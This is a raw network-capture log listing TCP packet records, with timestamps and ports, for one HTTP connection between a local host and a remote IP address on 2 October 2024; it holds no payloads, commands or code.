Oct 2, 2024 05:20:03.746248960 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.746260881 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.746269941 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.746299982 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.746345997 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.748684883 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.748739958 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.748750925 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.748796940 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.748812914 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.748830080 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.748873949 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.749138117 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.749178886 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.749190092 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.749216080 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.749228001 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.749247074 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.749321938 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.749331951 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.749342918 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.749353886 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.749361038 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.749399900 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.749468088 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.749500990 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.749510050 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.749550104 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.749583006 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.749593973 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.749604940 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.749641895 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.749660015 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.749742985 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.749753952 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.749763966 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.749773979 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.749784946 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.749792099 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.749830008 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.749937057 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.749948025 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.749958992 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.749974966 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.750008106 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.750015974 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.750032902 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.750072002 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.750119925 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.750132084 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.750144005 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.750183105 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.750261068 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.750271082 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.750297070 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.750315905 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.750328064 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.750344992 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.750355005 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.750370026 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.750386953 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.750555038 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.750571966 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.750582933 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.750592947 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.750602961 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.750613928 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.750617981 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.750626087 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.750629902 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.750653028 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.750670910 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.750942945 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.750952959 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.750963926 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.751007080 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.751034975 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.751046896 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.751058102 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.751080036 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.751087904 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.751164913 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.751176119 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.751185894 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.751225948 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.751310110 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.751327991 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.751338959 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.751348972 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.751358986 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.751368999 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.751377106 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.751380920 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.751390934 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.751400948 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.751430988 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.751605034 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.751616001 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.751631975 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.751653910 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.751681089 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.751821995 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.751852989 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.751863956 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.751900911 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.751957893 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.751974106 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.752063036 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.752074003 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.752084970 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.752099991 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.752113104 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.752259016 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.752269983 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.752280951 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.752290964 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.752300978 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.752307892 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.752315998 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.752316952 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.752331018 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.752338886 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.752355099 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.752372980 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.752492905 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.752511024 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.752521038 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.752532005 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.752557993 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.752580881 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.752782106 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.752825975 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.752836943 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.752875090 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.752949953 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.752960920 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.752969980 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.752980947 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.753010988 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.753101110 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.753110886 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.753119946 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.753156900 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.753185034 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.753202915 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.753212929 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.753222942 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.753232956 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.753238916 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.753245115 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.753269911 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.753285885 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.753465891 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.753519058 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.753530025 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.753571987 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.753726006 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.753779888 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.753791094 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.753824949 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.753829956 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.753935099 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.753945112 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.753954887 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.753972054 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.753979921 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.753993034 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.754018068 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.754189014 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.754200935 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.754215956 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.754221916 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.754226923 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.754230022 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.754236937 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.754242897 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.754249096 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.754250050 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.754277945 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.754288912 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.754446983 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.754467010 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.754486084 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.754513025 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.754678965 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.754729033 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.754740953 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.754766941 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.754791975 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.754838943 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.754849911 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.754870892 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.754908085 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.754981995 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.754998922 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.755014896 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.755028009 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.755043030 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.755053043 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.755053997 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.755064964 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.755076885 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.755103111 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.755112886 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.755419970 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.755439043 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.755450010 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.755481958 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.755497932 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.755556107 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.755573034 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.755609035 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.755666018 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.755677938 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.755687952 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.755698919 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.755708933 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.755737066 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.755745888 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.755939960 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.755950928 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.755960941 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.755970955 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.755980015 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.755981922 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.755990028 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.756000996 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.756009102 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.756011009 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.756016970 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.756022930 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.756031990 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.756056070 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.756350994 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.756403923 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.756413937 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.756422043 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.756442070 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.756505966 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.756547928 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.756558895 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.756597042 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.756659031 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.756669998 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.756680012 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.756691933 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.756711960 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.756726980 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.756800890 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.756812096 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.756827116 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.756859064 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.756939888 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.756951094 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.756961107 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.756995916 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.757024050 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.757035017 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.757045031 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.757055044 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.757064104 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.757075071 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.757080078 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.757097006 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.757112026 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.757458925 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.757507086 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.757523060 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.757560968 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.757564068 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.757972956 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.806230068 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.806289911 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.806332111 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.806344032 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.806416035 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.806428909 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.806452990 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.806483030 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.806485891 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.806498051 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.806509018 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.806523085 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.806535006 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.806543112 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.806571007 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.806694031 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.806705952 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.806716919 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.806732893 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.806744099 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.806811094 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.806823969 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.806833982 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.806845903 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.806855917 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.806876898 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.806876898 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.806890965 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.806921959 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.806961060 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.806989908 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.807002068 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.807013035 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.807024002 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.807043076 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.807069063 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.807216883 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.807228088 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.807239056 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.807249069 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.807259083 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.807261944 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.807271004 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.807271004 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.807300091 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.807323933 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.807348967 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.807517052 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.807528019 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.807538033 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.807549000 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.807559013 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.807562113 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.807570934 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.807581902 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.807589054 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.807593107 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.807607889 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.807615995 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.807617903 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.807621956 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.807627916 CEST	80	49775	46.8.231.109	192.168.2.4
